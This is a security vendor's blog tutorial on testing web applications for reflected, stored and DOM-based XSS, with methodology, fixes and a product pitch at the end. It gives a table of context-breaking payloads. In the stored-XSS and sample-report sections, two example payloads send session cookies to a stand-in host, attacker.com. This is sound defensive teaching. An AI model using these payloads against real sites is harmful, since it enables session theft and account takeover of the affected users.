All articlesAttack Techniques

How to Test for XSS (Cross-Site Scripting) in Your Web App

May 5, 2026·13 min read·Nautillo Pro Security Team

XSS remains one of the most consistently exploited vulnerabilities in web applications. It appears in three distinct forms — reflected, stored, and DOM-based — each requiring a different testing approach. This guide covers all three with HTTP examples, payloads, and a methodology you can run against your own app today.

What XSS actually does

Cross-Site Scripting allows an attacker to inject JavaScript into a page that other users view. When the injected script executes in a victim's browser, it runs with the same privileges as legitimate scripts on that page — which means it can read session cookies, make authenticated requests, capture keystrokes, redirect users, or modify page content.

The impact depends entirely on what the application allows authenticated users to do. In a low-privilege app, XSS might only enable phishing. In an admin panel, it can lead to full account takeover of every administrator who views the infected page.

The three types of XSS

Reflected XSS

The injected payload is reflected back from the server in the immediate response — it's not stored. The attacker delivers the payload through a crafted URL. The victim must click the link for the script to execute.

# Search parameter reflected in response without encoding

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1

Host: example.com

# Server responds with:

<p>Results for: <script>alert(document.cookie)</script></p>

# Vulnerable: script executes in victim's browser

Reflected XSS is often dismissed as "low severity" because it requires user interaction. This is wrong — a convincing phishing email with a crafted link is a reliable delivery mechanism, and the payload executes with full session privileges.

Stored XSS

The payload is stored server-side — in a database, comment field, user profile, or message — and executes whenever another user views the infected content. No crafted link required. Every visitor to the page becomes a victim automatically.

# Attacker posts a comment containing a payload

POST /comments HTTP/1.1

Content-Type: application/json

{

  "post_id": 42,

  "body": "Great article! <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"

}

# Every user who views post 42 now exfiltrates their session cookie

Stored XSS in an admin panel is critical severity. An attacker who can store a payload that fires when an admin views the page can silently take over admin accounts without the admin doing anything suspicious.

DOM-based XSS

The payload never touches the server. It's processed entirely by client-side JavaScript — the DOM is manipulated based on user-controlled input like the URL fragment (#hash), document.referrer, or localStorage. Server-side scanning won't find it — you need to trace client-side data flow.

// Vulnerable client-side code

const name = location.hash.slice(1);

document.getElementById('greeting').innerHTML =

  `Welcome, $${name}`;

# Attacker sends URL:

https://example.com/welcome#<img src=x onerror=alert(1)>

# Server never sees the payload — it's processed by the browser only

Testing methodology

1

Map every input that appears in the page output

URL parameters, form fields, HTTP headers (User-Agent, Referer, X-Forwarded-For), JSON body fields, file upload filenames, cookie values. Any value the app reads and reflects back into HTML is a potential injection point. Build a complete list before testing.

2

Identify the reflection context

Where does the input appear in the HTML? Between tags (<p>INPUT</p>), inside an attribute (value="INPUT"), inside a script tag (var x = 'INPUT'), or in a URL (href="INPUT"). Each context requires a different payload to break out of it.

3

Test with a benign probe first

Inject a unique string like xsstest12345 and check where it appears in the response. This tells you the reflection context and whether any encoding is applied — without triggering security alerts that a script tag might cause.

4

Use context-appropriate payloads

HTML context: <script>alert(1)</script>. Attribute context: " onmouseover="alert(1). Script context: ';alert(1)//. URL context: javascript:alert(1). The payload must match the context — a script tag won't execute inside an already-existing attribute value.

5

Test stored inputs across accounts

For stored XSS: submit the payload as User A, then view the content as User B. If the payload executes in User B's browser, it's confirmed. This is the critical test for comment fields, profile bios, message subjects, and any user-generated content.

6

Check client-side code for DOM sinks

Search the JavaScript for dangerous sinks: innerHTML, outerHTML, document.write, eval, setTimeout/setInterval with string args, location.href assignment. Trace each sink back to its source — does the source include any user-controlled input?

Payloads by reflection context

ContextExamplePayload to break out
HTML body<p>INPUT</p><script>alert(1)</script>
HTML attributevalue="INPUT"" onmouseover="alert(1)
Single-quoted attrvalue='INPUT'' onmouseover='alert(1)
JavaScript stringvar x = 'INPUT'';alert(1)//
JavaScript string (double)var x = "INPUT"";alert(1)//
href/src URLhref="INPUT"javascript:alert(1)
Template literalvar x = `INPUT`${alert(1)}

How to fix XSS by type

Reflected and stored XSS — output encoding

Encode all user-supplied data before inserting it into HTML. Use your framework's built-in encoding — React's JSX escapes by default, Angular's template binding escapes by default. The problem occurs when developers bypass this with dangerouslySetInnerHTML (React), bypassSecurityTrust (Angular), or direct DOM manipulation. Audit all usages.

DOM XSS — avoid dangerous sinks

Replace innerHTML with textContent for inserting text. Replace document.write entirely. Never pass user-controlled data to eval, setTimeout, or setInterval as a string. For HTML you genuinely need to render, use a sanitisation library like DOMPurify — never write your own sanitiser.

Content Security Policy as defence in depth

A strict CSP (script-src 'self' with no unsafe-inline) prevents injected scripts from executing even if XSS is present. It's not a replacement for output encoding — it's a second layer. CSP won't stop all XSS (DOM XSS can bypass it, and unsafe-inline defeats it) but it significantly raises the bar for exploitation.

HttpOnly cookies

Mark session cookies HttpOnly so JavaScript can't read them. This doesn't prevent XSS exploitation — an attacker can still make authenticated requests or modify the DOM — but it prevents the most common payload (stealing session cookies for account takeover).

What a confirmed XSS finding looks like

A valid XSS report includes the injection point, the reflection context, the exact payload, and proof of execution — not just the payload firing an alert, but evidence of real impact.

REQUEST

POST /profile/update HTTP/1.1

Authorization: Bearer <attacker-token>

Content-Type: application/json

{

  "display_name": "Test<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"

}

IMPACT

When any user views the attacker's profile:

→ Browser executes the script

→ Session cookie sent to attacker-controlled server

→ Attacker replays cookie to authenticate as victim

Test your app for XSS automatically

Nautillo Pro tests for reflected, stored, and DOM-based XSS across all discovered input vectors — including API endpoints, HTTP headers, and JSON body fields. Every confirmed finding includes the exact payload, reflection context, and proof of execution.